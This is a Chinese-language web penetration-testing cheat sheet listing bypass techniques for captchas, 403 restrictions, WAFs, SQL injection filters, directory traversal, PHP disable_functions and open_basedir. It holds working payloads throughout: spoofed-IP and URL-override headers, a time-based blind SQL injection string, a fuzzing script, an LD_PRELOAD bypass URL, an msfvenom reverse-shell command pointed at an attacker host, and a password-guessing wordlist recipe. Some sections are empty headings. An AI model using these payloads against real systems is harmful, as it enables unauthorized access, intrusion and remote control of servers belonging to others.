①绕过验证码专题
原理:
直接截取返回包的cookie或者json流中的验证码进行绕过,提取出验证码进行直接验证即可–>绕过
方法
利用burp中的Extractor或者是Bp自带的Marco进行自动化测试
典型类型:
①如返回包的cookie中可截取验证码
②返回包的json流中可能有验证码
万能验证码
0000与9999
空验证码
code=undefined
②403绕过专题
方法
①端口利用-->一个站不同的端口测
②修改host-->收集一个资产的相关ip,进行测不同host请求状况
③覆盖请求url
绕的参数-->X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。(可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。)
即覆盖参数请求思路-->即服务器支持该两种请求状况思路时可利用绕
如
#常见于-->后台登录时一闪而过,要求验证类
从http header方面bypass
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
or
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK
除了这些还可绕思路
302跳转:拦截并drop跳转的数据包,使其停留在当前页面,修改返回的302为200,然后删除掉Location字段。即可绕过
#从url参数方面bypass
/admin/panel # ===> 403
/admin/monitor # ===> 200
/admin/monitor/;panel # ===> 302
web.com/admin # ===> 403
web.com/ADMIN # ===> 200
web.com/admin/ # ===> 200
web.com/admin/. # ===> 200
web.com//admin// # ===> 200
web.com/./admin/./ # ===> 200
web.com/./admin/.. # ===> 200
web.com/%2f/admin/ # ===> 200
web.com/admin.json # ===> 200(ruby)
web.com/%2e/admin # ===> 200
web.com/%252e/admin # ===> 200
web.com/%ef%bc%8fadmin # ===> 200
web.com/admin # ===> 302
web.com/admin..;/ # ===> 200
#从协议上bypass
http://web.com/admin # ===> 403
https://web.com/admin # ===> 200
④referer绕
添加一个ReFerer参数进行绕
ReFerer:https://xxx/auth/login
⑤代理ip方式绕
如该类参数
X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1
③绕upload专题
④绕sql注入专题
绕云锁sql注入
and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))
sql注入绕过特殊姿势
#常见可试绕过思路
--%0a union --%0a select
#常见可测试点
order by,group by,{$var}
#mysql
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1
数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1
绕waf
①识别waf
两个工具
②三个fuzz工具
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack
https://github.com/foospidy/payloads
③常用fuzz脚本
def fuzzing(payload):
payloads = []
special_chars = ['\r', '\n', '\t', '_', '~', '&', '-', '=', '/', '*','^', '$', ',', '.', '/', '<', '>', '|', '/**/', '--','\r\n', '||']
#special_chars 字典在步骤2中选择合适的
for char in special_chars:
for k in range(len(payload)):
try:
temp_payload = payload[:k] + char + payload[k:]
payloads.append(temp_payload)
except Exception as e:
print(e)
return payloads
sql注入bypass
注意点
1.版本导致注入问题
mysql版本4.1时,因为不存在默认表,所以可能出现爆不出表的情况
⑤绕目录遍历
#利用其绕读取
…/./
#如即–>目录遍历
⑥绕函数禁用类
四种方法
①攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
②寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
③mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
④利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
需要利用条件:
①php需要支持putenv()、mail()函数
②linux环境下
绕shell时遇到函数禁用
①插件工具
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
构造执行命令
Payload:http://xxx/dp1.php?cmd=whoami&outpath=/tmp/xx&sopath=/xxx/dp1.so**
②蚁剑插件绕
php版本7的话直接梭哈
如linux下
找到sock文件
如
/tmp/php-cgi-56.sock
执行即可获得一个马
然后直接执行后
进行连接
这个.antproxy.php
密码为原来马的密码
然后连接执行即可绕过
但是注意这个绕只可绕一会,然后就会断掉
所以接着绕法
msfs生成一个马,上传到这个上面,然后在这几分钟里面进行执行命令,从而实现监听
#如
msfvenom -p linux/x64/shell_reverse_tcp -i 5 LHOST=x.x.x.x LPORT=80 -f elf -o /root/shell.elf
③组件思路
bypass disable_function总结
中间组件bypass
⑦字典爆破思路
撞库
常见手机号
常见登录账号(admin、manager、test、deme)
数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
拼音(zhangsan、zhang.san、zhangs)
中文(张三、李四、张san)
英文名(Tom、Jeo、Cherry)
单位名(zssx123、zssx@123)
地名(beijing123、beijing@123)
组合(地名+单位名)
域名(baidu@123、JD@123)
生日组合
⑧绕目录限制
方法:新建一个.user.ini 文件
里面内容下面这个,从而实现绕过php.ini文件
open_basedir=:/